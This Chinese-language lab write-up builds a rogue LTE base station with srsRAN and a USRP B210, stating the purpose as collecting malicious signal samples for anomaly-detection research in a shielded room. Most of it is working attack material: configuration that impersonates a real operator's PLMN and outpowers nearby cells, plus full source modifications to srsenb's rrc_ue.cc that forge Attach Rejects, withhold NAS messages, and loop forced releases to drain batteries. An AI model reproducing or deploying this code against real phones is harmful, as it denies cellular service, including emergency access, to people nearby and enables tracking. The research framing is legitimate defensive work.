实验目的
复现伪基站攻击所产生的信号并捕获,以供宽频段空口通信的异常信号检测工作的研究。
为了确保合法性,恶意信号样本的产生必须在屏蔽室内进行。
伪基站产生的恶意信号有哪些?
- 冒充你的手机接入网络,既能让你断网(DoS),还能篡改你的位置记录、偷看你用网习惯;
- 拒绝你接入 4G 网络,逼你用更差的网络,导致部分功能用不了(选择性断网);
- 霸占手机的 "呼叫 / 消息接收通道",让你收不到电话、短信,彻底断网(完全 DoS);
- 骗手机发送周边基站信号强度,精准算出你的实时位置(比普通定位还细);
- 偷看你手机支持的网络功能,针对性让部分功能失效,或逼你用旧协议;
- 手机断连后想重新连网时,一直拒绝它,让你彻底用不了网络;
- 反复骗手机 "重新连网",让手机不停干活,快速耗光电量;
- 拒绝提供 4G 服务,逼你切换到 2G/3G,网络变慢还不安全;
- 扫描当前区域的所有手机设备,摸清 "谁在这个网络里",为批量攻击做准备;
- 让手机反复执行加密、连网等费电操作,短时间内耗光电池;
- 骗手机 "唤醒网络连接" 后又断开,循环往复耗电池;
- 悄悄断开你和合法基站的连接,还不提示你,让你误以为是网络信号差;
- 既拒绝连网,又强制断开现有连接,双重断网;
- 偷取你手机卡的唯一识别码(IMSI),相当于拿到你的 "网络身份证",后续能精准定位或冒充你;
- 打乱手机和网络的通信同步,让你长时间连不上网,断网持续更久;
- 向基站发送大量垃圾请求,占用基站资源,不仅你用不了,周边人也可能受影响;
- 你手机从一个基站切换到另一个时,劫持连接,既断网又耗电池;
- 重复发送之前的网络指令,让手机误判状态,强制断网;
- 反复让手机 "重新配置网络参数",不停干活耗电池;
- 手机移动后想更新网络时,拒绝它,逼你用旧协议或断网;
- 发送伪造的紧急通知(比如假灾情、假预警),传播虚假信息制造混乱。
我们其实没必要把所有攻击都复现,这是因为:对于绝大多数(90%)的"逻辑层攻击"(比如偷IMSI、发虚假警报、拒绝接入),它们在单张频谱截面(Spectrogram Snapshot)上看,和正常的 4G 信号几乎一模一样。
区别在于: 它们在"时间统计规律"和"射频指纹(RF Fingerprint)"上可能有所不同。
那问题来了:我们是不是需要实现几个具体的攻击才能把它作为恶意样本?------如果你的伪基站只是静静地发广播,那它在你的异常检测模型眼里就是一个"合法的基站"。你必须让它"发疯",你的模型才能捕捉到"异常行为"。
因此我们只需要复现"三类典型特征"的攻击。来丰富异常信号检测的故事。
第一类:高频/风暴类攻击(The Storm)
耗光电量、反复骗手机重连、向基站发送大量垃圾请求。
攻击逻辑 :伪基站不为了连网,而是为了让手机无法休眠。它会疯狂发送 Paging Request(寻呼消息)或者 RRC Setup。
-
频谱上的表现(肉眼可见的异常):
-
正常的 LTE 下行频谱:控制信道(PDCCH)是稀疏的,只有有数据传的时候才亮。
-
攻击时的频谱 :PDCCH 区域(子帧的前几个符号)会常亮,整个频带的占空比(Duty Cycle)极高,像一堵密不透风的墙。
-
-
如何用 srsRAN 复现:
- 这是最容易实现的。在 srsRAN 的代码里(通常在 MAC 层调度器),写一个死循环,强行在每个子帧都塞满 Paging 消息(哪怕发给不存在的 IMSI)。
第二类:拒绝/静默类攻击(The Rejector)
拒绝接入、强制断开、选择性断网。
攻击逻辑:手机发起请求,伪基站立刻回绝(Attach Reject),导致手机不断重试。
-
频谱上的表现(统计学异常):
-
短促、重复的脉冲。
-
会看到只有上行请求(手机发出的 PRACH 脉冲)和极短的下行拒绝信号,而完全没有后续的长数据包(PDSCH)。
-
这种"有问无答"或"秒拒"的交互模式,在时序图上非常明显。
-
-
如何用 srsRAN 复现:
- 配置 srsEPC(核心网),设置黑名单策略,拒绝所有 IMSI 接入。
第三类:隐蔽/欺诈类攻击(The Ghost)
偷取 IMSI、偷看网络习惯、精准定位。
-
攻击逻辑:这是最阴险的。伪基站假装自己是一切正常的基站,只是在后台悄悄记录数据。
-
频谱上的表现(肉眼不可见的异常):
-
它的帧结构、时序逻辑和真基站一模一样。
-
唯一的破绽:射频指纹(RF Fingerprint)。
-
但它也存在相应的破绽,因为是用 USRP B210 发出的,而不是华为/爱立信的商用基站发出的。B210 的晶振(CFO 漂移)、功放线性度(PAPR)、IQ 不平衡度,与商用基站有微小的物理层差异。
如何复现:正常运行 srsRAN 即可。
srsRAN (原 srsLTE) 是目前开源界最成熟的 4G/5G 软件无线电协议栈。
它底层调用 UHD 驱动控制 USRP B210。
它上层直接提供完整的 eNodeB(基站)和 EPC(核心网)功能。
安装与配置
先把uhd安好,测试硬件能不能正常发送(uhd配置省略):
# 找路径
find /usr -name tx_waveforms 2>/dev/null
# 假设找到在 /usr/lib/uhd/examples/tx_waveforms
# 运行:发射 1.4MHz 带宽的信号
sudo /usr/lib/uhd/examples/tx_waveforms --freq 2680e6 --rate 1.92e6 --gain 80
安装:
# 安装必要的依赖库
sudo apt-get install build-essential cmake libfftw3-dev libmbedtls-dev libboost-program-options-dev libconfig++-dev libsctp-dev
sudo ldconfig
# 拉取源码 (推荐 4G 版本)
git clone https://github.com/srsran/srsRAN_4G.git
cd srsRAN_4G
# 编译
mkdir build
cd build
cmake ../
make -j4 # 用4个核编译,快一点
sudo make install
# 自动生成配置文件
srsran_install_configs.sh user
打开基站配置文件:vim ~/.config/srsran/enb.conf
需要改这几个地方来适配 B210 和虚拟机环境:
-
降低带宽(针对虚拟机): 找到
[enb]部分下的n_prb。默认可能是50(10MHz) 或100(20MHz)。最好改为25(5MHz带宽)。原因: 虚拟机下的 USB 3.0 转发效率通常跑不满,强行上 20MHz 会导致 B210 报错 "Overflow"(丢包),导致信号断断续续。 -
设置频率(伪装频点): 找到
[rf]部分下的dl_earfcn(下行频点号)。需要查一下 EARFCN 计算器,或者随便填一个常用的,比如3400(对应 Band 7, 2680MHz 附近)。确保这个频率在 B210 的支持范围内(70M - 6G),且天线支持。 -
调高增益(为了信号强): 找到
[rf]部分下的tx_gain。设置为80(B210 最大约 89,设80比较安全且信号很强)。 -
确认设备类型**:**
device_args = type=b210(不过通常 auto 也能识别)。
启动基站
伪基站系统由两部分组成:核心网 (EPC) + 基站 (eNB)。需要开两个终端窗口。
因为下面要用sudo运行,所以这里配置文件最好在根目录里也建一个:
# 创建系统级配置文件夹
sudo mkdir -p /etc/srsran
# 把之前生成的配置文件全部复制过去
sudo cp ~/.config/srsran/* /etc/srsran/
之后修改配置文件直接修改根目录下的这个就行了:sudo vim /etc/srsran/enb.conf
准备启动基站:
伪基站系统由两部分组成:核心网 (EPC) + 基站 (eNB)。需要开两个终端窗口。
窗口 1:启动核心网 (大脑)
sudo srsepc
看到 "MME Initialized" 之类的字样不动了,就是启动成功了。
窗口 2:启动基站 (身体 - B210开始干活)
sudo srsenb
如果不报错,屏幕上会不断跳动 [INFO] [PHY] ... 的日志。
修改PLMN码
# 修改基站配置 enb.conf 里的 MCC/MNC
sudo vim /etc/srsran/epc.conf
# 修改核心网配置 epc.conf
sudo vim /etc/srsran/enb.conf
这两个文件里的MCC/MNC码要保持一致,运营商PLWN一般为:
| 运营商 | MNC | 完整 PLMN | 说明 |
|---|---|---|---|
| 中国移动 | 00 | 460-00 | 2G GSM 网络 |
| 02 | 460-02 | 主要 4G/5G 网络 | |
| 07 | 460-07 | 4G/5G 网络 | |
| 08 | 460-08 | 4G/5G 网络(较少使用) | |
| 中国联通 | 01 | 460-01 | 2G/3G/4G/5G 主要网络 |
| 06 | 460-06 | 4G/5G 网络 | |
| 09 | 460-09 | 测试/备用网络 | |
| 中国电信 | 03 | 460-03 | 2G/3G CDMA 网络 |
| 05 | 460-05 | 4G/5G 主要网络 | |
| 11 | 460-11 | 4G/5G VoLTE 网络 | |
| 12 | 460-12 | 4G/5G 网络 | |
| 中国广电 | 15 | 460-15 | 4G/5G 网络(2022 年启动 5G 商用) |
基于srsRAN的具体DoS攻击
伪基站的"诱饵"策略
srsRAN伪基站通常配置以下参数欺骗手机:
# 伪基站关键配置(srsenb.conf)
[enb]
mcc = 0x46 # 与目标网络相同的中国移动MCC
mnc = 0x00 # 与目标网络相同的MNC
band = 3 # Band 3 (1800MHz),与周围基站同频
dl_earfcn = 1650 # 与合法基站邻近的频点
pci = 42 # 选择一个未被附近基站使用的PCI
tx_gain = 60 # 发射功率增益(关键!设为比周围基站高10-20dB)
功率优势是最直接的攻击手段 :手机始终选择Reference Signal Received Power (RSRP)最强的小区。伪基站放置在目标附近,发射功率比合法基站高6-10dB,手机必然优先选择。
协议层面的"黑洞"机制
当手机发送RRC Connection Request给伪基站后,正常流程是:
- 伪基站回复RRC Connection Setup
- 手机发送RRC Connection Setup Complete(包含NAS消息如Attach Request)
- 正常情况下:伪基站应将NAS消息转发给核心网MME
- DoS攻击时 :伪基站不转发,直接丢弃或回复Reject
此时手机与真实网络的信令通路被物理切断,这就是DoS的基础。
这里我们可以直接去修改srsenb/src/stack/rrc/rrc_ue.cc这个文件,这个文件是干啥的呢:
在 LTE 协议栈中,RRC (Radio Resource Control) 层是基站的"大脑",负责控制一切信令交互。
srsenb: 这是基站(eNodeB)的代码。
src/stack/rrc: 这是 RRC 协议层的源代码。
rrc_ue.cc : 这是核心中的核心。
每当有一部手机(UE)连接到基站,基站的代码里就会 new 一个 rrc_ue 对象。这个对象专门负责维护这一部手机的所有状态 (它连上没?它是谁?它的信号好不好?)。手机发来的所有控制信令(我想连网、我想断开、我信号不好),最终都会传到这个文件里的函数来处理。
攻击类型1:假 Attach Reject(最彻底)
实现代码修改(srsenb/src/stack/rrc/rrc_ue.cc):
void rrc::parse_ul_dcch(uint32_t lcid, unique_byte_buffer_t pdu) {
switch(msg_type) {
case LIBLTE_S1AP_MESSAGE_TYPE_ATTACH_REQUEST:
// 不转发给核心网,直接构造拒绝响应
send_attach_reject(LIBLTE_MME_EMM_CAUSE_EPS_SERVICES_AND_NON_EPS_SERVICES_NOT_ALLOWED);
// 原因值#8:永久拒绝服务
break;
}
}
攻击效果:
- 手机收到
EMM Cause #8,将基站列入黑名单 - 更恶意的策略 :发送
EMM Cause #42(Severe Network Failure),手机会认为整个4G网络故障,主动降级到3G/2G - 手机可能持续尝试重连,导致电池快速耗尽(DoS的副作用)
具体实现:找到 parse_ul_dcch 函数中的这段代码:
case ul_dcch_msg_type_c::c1_c_::types::ul_info_transfer:
pdu->N_bytes = ul_dcch_msg.msg.c1()
.ul_info_transfer()
.crit_exts.c1()
.ul_info_transfer_r8()
.ded_info_type.ded_info_nas()
.size();
memcpy(pdu->msg,
ul_dcch_msg.msg.c1()
.ul_info_transfer()
.crit_exts.c1()
.ul_info_transfer_r8()
.ded_info_type.ded_info_nas()
.data(),
pdu->N_bytes);
parent->s1ap->write_pdu(rnti, std::move(pdu));
break;
替换为:
case ul_dcch_msg_type_c::c1_c_::types::ul_info_transfer:
pdu->N_bytes = ul_dcch_msg.msg.c1()
.ul_info_transfer()
.crit_exts.c1()
.ul_info_transfer_r8()
.ded_info_type.ded_info_nas()
.size();
memcpy(pdu->msg,
ul_dcch_msg.msg.c1()
.ul_info_transfer()
.crit_exts.c1()
.ul_info_transfer_r8()
.ded_info_type.ded_info_nas()
.data(),
pdu->N_bytes);
// === 假 Attach Reject 攻击代码开始 ===
// 检查是否是 Plain NAS 的 Attach Request (message type 0x41)
if (pdu->N_bytes >= 2 && pdu->msg[0] == 0x07 && pdu->msg[1] == 0x41) {
parent->logger.warning("Intercepted Attach Request from rnti=0x%x, sending fake Attach Reject", rnti);
// 构造 NAS Attach Reject 消息
// 0x07: EMM Protocol + Plain NAS header
// 0x44: Attach Reject message type
// 0x08: EMM Cause #8 - "EPS services and non-EPS services not allowed" (永久拒绝)
uint8_t attach_reject_nas[] = {0x07, 0x44, 0x08};
// 构造 DL Information Transfer 消息承载 NAS Reject
dl_dcch_msg_s dl_dcch_msg;
dl_dcch_msg.msg.set_c1();
auto& dl_info = dl_dcch_msg.msg.c1().set_dl_info_transfer();
dl_info.rrc_transaction_id = (uint8_t)((transaction_id++) % 4);
auto& crit_ext = dl_info.crit_exts.set_c1().set_dl_info_transfer_r8();
crit_ext.ded_info_type.set_ded_info_nas();
auto& nas_field = crit_ext.ded_info_type.ded_info_nas();
nas_field.resize(sizeof(attach_reject_nas));
memcpy(nas_field.data(), attach_reject_nas, sizeof(attach_reject_nas));
// 发送伪造的 Attach Reject 给手机
std::string octet_str;
send_dl_dcch(&dl_dcch_msg, nullptr, &octet_str);
// 可选:发送 RRC Connection Release 立即断开连接
send_connection_release();
parent->logger.info("DoS Attack: Fake Attach Reject sent to rnti=0x%x, UE will be barred from network", rnti);
return; // 关键:不转发给 S1AP/MME,直接返回
}
// === 假 Attach Reject 攻击代码结束 ===
parent->s1ap->write_pdu(rnti, std::move(pdu));
break;
修改后的功能差异:
| 功能 | 原始行为 | 修改后行为 |
|---|---|---|
| Attach Request 处理 | 转发给核心网,等待 MME 判决 | 拦截,不发给核心网,基站自己伪造拒绝响应 |
| 手机显示 | 正常搜网、附着,显示运营商信号 | 显示"无法访问移动网络"、"SIM 卡无法使用"或"注册失败",无法附着 |
| EMM Cause | 由核心网决定(通常是 #2 IMSI unknown in HSS) | 固定为 #8(EPS services not allowed),表示该网络禁止使用数据服务 |
| 攻击效果 | 正常通信 | 拒绝服务 (DoS):手机认为该 LTE 网络拒绝服务,可能尝试重选 2G/3G 或反复重试附着,导致耗电和无法通信 |
攻击原理说明
- 拦截点 :在 RRC 层的
UL Information Transfer消息中,NAS 的 Attach Request 还未发往核心网就被拦截 - 伪造响应 :基站直接回复
Attach Reject(NAS 消息 0x44),EMM Cause 设为 0x08(永久拒绝),手机会将该 PLMN 列入黑名单 - 切断后路 :可选调用
send_connection_release()立即释放 RRC 连接,迫使手机从头开始搜网循环,加剧 DoS 效果
这样修改后,任何接入该伪基站的手机都会立即被拒绝附着,实现最彻底的"假基站拒绝服务攻击"。
攻击类型2:RRC Withhold(RRC连接保持)
这是最隐蔽的DoS方式:
// 伪基站接受RRC连接
send_rrc_connection_setup_complete();
// 但扣留NAS消息,不创建S1连接
// 手机认为已连接网络,实际上所有数据都在伪基站黑洞中
用户体验 :手机信号满格(显示4G),但无法打电话、发短信、上网。
具体实现:需要修改 handle_rrc_con_setup_complete 函数 中处理 NAS 消息并转发给核心网的部分。
替换前:
pdu->N_bytes = msg_r8->ded_info_nas.size();
memcpy(pdu->msg, msg_r8->ded_info_nas.data(), pdu->N_bytes);
// Signal MAC scheduler that configuration was successful
mac_ctrl.handle_con_setup_complete();
asn1::s1ap::rrc_establishment_cause_e s1ap_cause;
s1ap_cause.value = (asn1::s1ap::rrc_establishment_cause_opts::options)establishment_cause.value;
uint32_t enb_cc_idx = ue_cell_list.get_ue_cc_idx(UE_PCELL_CC_IDX)->cell_common->enb_cc_idx;
if (has_tmsi) {
parent->s1ap->initial_ue(rnti, enb_cc_idx, s1ap_cause, std::move(pdu), m_tmsi, mmec);
} else {
parent->s1ap->initial_ue(rnti, enb_cc_idx, s1ap_cause, std::move(pdu));
}
替换后:
pdu->N_bytes = msg_r8->ded_info_nas.size();
memcpy(pdu->msg, msg_r8->ded_info_nas.data(), pdu->N_bytes);
// === RRC Withhold Attack Code Start ===
// 拦截 NAS 消息(通常是 Attach Request),不转发给核心网
parent->logger.warning("RRC Withhold Attack: Intercepted NAS message from rnti=0x%x, withholding from MME", rnti);
// 保持 MAC/PHY 层的 RRC 连接活跃(维持无线资源配置)
// 手机会显示满格 4G 信号,因为 RRC 连接已成功建立且无线承载已配置
mac_ctrl.handle_con_setup_complete();
// 关键:不调用 parent->s1ap->initial_ue(),不向 MME 发送 Attach Request
// S1AP 层不会为该 UE 创建上下文,核心网不知道此 UE 存在
// 让 UE 保持在等待状态(不进入 REGISTERED 状态)
// UE 会持续等待 Attach Accept(永远不会收到),NAS 层无法完成附着
state = RRC_STATE_WAIT_FOR_CON_SETUP_COMPLETE;
parent->logger.info("RRC Withhold: UE rnti=0x%x is now in fake connected state (4G bars but no service)", rnti);
return; // 直接返回,跳过后续 S1AP 处理
// === RRC Withhold Attack Code End ===
// 以下原始代码被上述 return 跳过(不会执行)
/*
asn1::s1ap::rrc_establishment_cause_e s1ap_cause;
s1ap_cause.value = (asn1::s1ap::rrc_establishment_cause_opts::options)establishment_cause.value;
uint32_t enb_cc_idx = ue_cell_list.get_ue_cc_idx(UE_PCELL_CC_IDX)->cell_common->enb_cc_idx;
if (has_tmsi) {
parent->s1ap->initial_ue(rnti, enb_cc_idx, s1ap_cause, std::move(pdu), m_tmsi, mmec);
} else {
parent->s1ap->initial_ue(rnti, enb_cc_idx, s1ap_cause, std::move(pdu));
}
*/
这段代码的原始功能是:在 RRC 连接建立完成后,提取 UE 发送的 NAS 消息(通常是 Attach Request),并通过 parent->s1ap->initial_ue() 将其发送给 MME(核心网),触发 S1AP 初始 UE 消息流程。这会导致核心网开始附着认证流程,为 UE 建立 S1AP 上下文和 E-RAB 承载,最终让 UE 获得 IP 地址并接入互联网。
| 功能维度 | 原始行为 | 修改后行为 |
|---|---|---|
| NAS 消息处理 | 转发给 MME,开始附着流程 | 拦截扣留,不发给 MME |
| S1AP 上下文 | 在 MME 创建 UE 上下文 | 无上下文,核心网不知道 UE 存在 |
| UE 状态 | 进入 REGISTERED,可上网 | 卡在中间状态,RRC 已连接但 NAS 未附着 |
| 手机显示 | 4G 信号 + 可上网打电话 | 4G 信号满格 (显示已连接),但无法上网、打电话、发短信 |
| 攻击效果 | 正常通信 | 假连接:UE 持续等待 Attach Accept(超时重发但永远收不到),电池消耗,完全断网 |
手机完成 RRC 层连接(物理层和无线资源配置成功),所以信号栏显示满格 4G;但由于 Attach Request 被基站扣留未到达核心网,NAS 层的附着永远卡死,UE 无法获得 IP 地址和默认承载,从而实现"看得见信号,用不了网络"的拒绝服务效果。
攻击类型3:Release风暴
伪基站间歇性发送RRC Connection Release(原因值:loadBalancingTAUrequired),迫使手机:
- 断开当前连接
- 立即触发TAU(Tracking Area Update)
- 手机尝试重连同一伪基站(因为信号最强)
- 形成连接-断开-重连死循环,CPU和射频模块高负载运行,数小时内电池耗尽
具体实现:在 handle_rrc_con_setup_complete 函数中修改
替换前:
pdu->N_bytes = msg_r8->ded_info_nas.size();
memcpy(pdu->msg, msg_r8->ded_info_nas.data(), pdu->N_bytes);
// Signal MAC scheduler that configuration was successful
mac_ctrl.handle_con_setup_complete();
asn1::s1ap::rrc_establishment_cause_e s1ap_cause;
s1ap_cause.value = (asn1::s1ap::rrc_establishment_cause_opts::options)establishment_cause.value;
uint32_t enb_cc_idx = ue_cell_list.get_ue_cc_idx(UE_PCELL_CC_IDX)->cell_common->enb_cc_idx;
if (has_tmsi) {
parent->s1ap->initial_ue(rnti, enb_cc_idx, s1ap_cause, std::move(pdu), m_tmsi, mmec);
} else {
parent->s1ap->initial_ue(rnti, enb_cc_idx, s1ap_cause, std::move(pdu));
}
// 2> if the UE has radio link failure or handover failure information available
if (msg->crit_exts.type().value == c1_or_crit_ext_opts::c1 and
msg->crit_exts.c1().type().value ==
rrc_conn_setup_complete_s::crit_exts_c_::c1_c_::types_opts::rrc_conn_setup_complete_r8) {
const auto& complete_r8 = msg->crit_exts.c1().rrc_conn_setup_complete_r8();
if (complete_r8.non_crit_ext.non_crit_ext.rlf_info_available_r10_present) {
rlf_info_pending = true;
}
}
}
替换为:
pdu->N_bytes = msg_r8->ded_info_nas.size();
memcpy(pdu->msg, msg_r8->ded_info_nas.data(), pdu->N_bytes);
// Signal MAC scheduler that configuration was successful
mac_ctrl.handle_con_setup_complete();
// === Release Storm Attack Code Start ===
parent->logger.warning("Release Storm Attack: Connection established for rnti=0x%x, scheduling release in 5s", rnti);
// 使用 phy_dl_rlf_timer 实现定时释放(避免被 activity_timer 覆盖)
// 设置 5 秒后发送 RRC Connection Release (loadBalancingTAUrequired)
phy_dl_rlf_timer.set(5000, [this](uint32_t tid) {
parent->logger.info("Release Storm: Sending RRC Connection Release (loadBalancingTAUrequired) to rnti=0x%x", rnti);
// 构造 RRC Connection Release 消息
dl_dcch_msg_s dl_dcch_msg;
auto& rrc_release = dl_dcch_msg.msg.set_c1().set_rrc_conn_release();
rrc_release.rrc_transaction_id = (uint8_t)((transaction_id++) % 4);
rrc_conn_release_r8_ies_s& rel_ies = rrc_release.crit_exts.set_c1().set_rrc_conn_release_r8();
// 关键:原因值设为 loadBalancingTAUrequired
// 根据 3GPP TS 36.331,这会导致 UE 立即触发 TAU 并尝试建立新的 RRC 连接
rel_ies.release_cause = release_cause_e::load_balancing_ta_urequired;
std::string octet_str;
send_dl_dcch(&dl_dcch_msg, nullptr, &octet_str);
// 清理 UE 上下文,使其以全新 RNTI 重新接入,形成连接-断开-重连死循环
parent->logger.info("Release Storm: Released rnti=0x%x, expecting immediate reconnection", rnti);
state = RRC_STATE_RELEASE_REQUEST;
parent->s1ap->user_release(rnti, asn1::s1ap::cause_radio_network_opts::unspecified);
parent->rem_user_thread(rnti);
});
phy_dl_rlf_timer.run();
// 保留 rlf_info_pending 检查以维持代码兼容性,但不转发 NAS 给 S1AP
if (msg->crit_exts.type().value == c1_or_crit_ext_opts::c1 and
msg->crit_exts.c1().type().value ==
rrc_conn_setup_complete_s::crit_exts_c_::c1_c_::types_opts::rrc_conn_setup_complete_r8) {
const auto& complete_r8 = msg->crit_exts.c1().rrc_conn_setup_complete_r8();
if (complete_r8.non_crit_ext.non_crit_ext.rlf_info_available_r10_present) {
rlf_info_pending = true;
}
}
return;
// === Release Storm Attack Code End ===
}
这段代码原本负责将手机发送的 NAS 消息(含 Attach Request)转发给核心网(S1AP 接口的 initial_ue),触发 MME 的附着流程。同时记录可能的无线链路失败信息,最终让手机完成注册并获得 IP 地址。
修改后的功能差异:
| 功能维度 | 原始行为 | 修改后行为 |
|---|---|---|
| 连接保持时间 | 长期保持(直到用户主动断开或异常) | 强制 5 秒后断开 |
| 断开原因值 | 正常释放(other)或用户不活动 | loadBalancingTAUrequired(指示手机立即执行 TAU) |
| 手机行为 | 保持连接,正常使用 | 收到 Release 后立即触发 TAU,由于伪基站信号最强,立即重连同一基站 |
| 攻击循环 | 无 | 每 5 秒重复:连接 → 释放 → 重连 → 释放... |
| 性能影响 | 正常功耗 | CPU 和射频模块持续高负载 (反复 RRC 建立/释放 + NAS 附着尝试),数小时内电池耗尽 |
| 用户体验 | 正常通信 | 手机显示 4G 满格,但每隔 5 秒短暂断网,伴随发热和快速掉电 |
关键技术点 :使用 phy_dl_rlf_timer(独立于 activity_timer)确保定时器不会被覆盖;原因值 loadBalancingTAUrequired(负载均衡需要 TAU)是 3GPP 标准规定的强制触发 TAU 的原因,手机必须立即尝试重新注册,从而形成完美的攻击闭环。

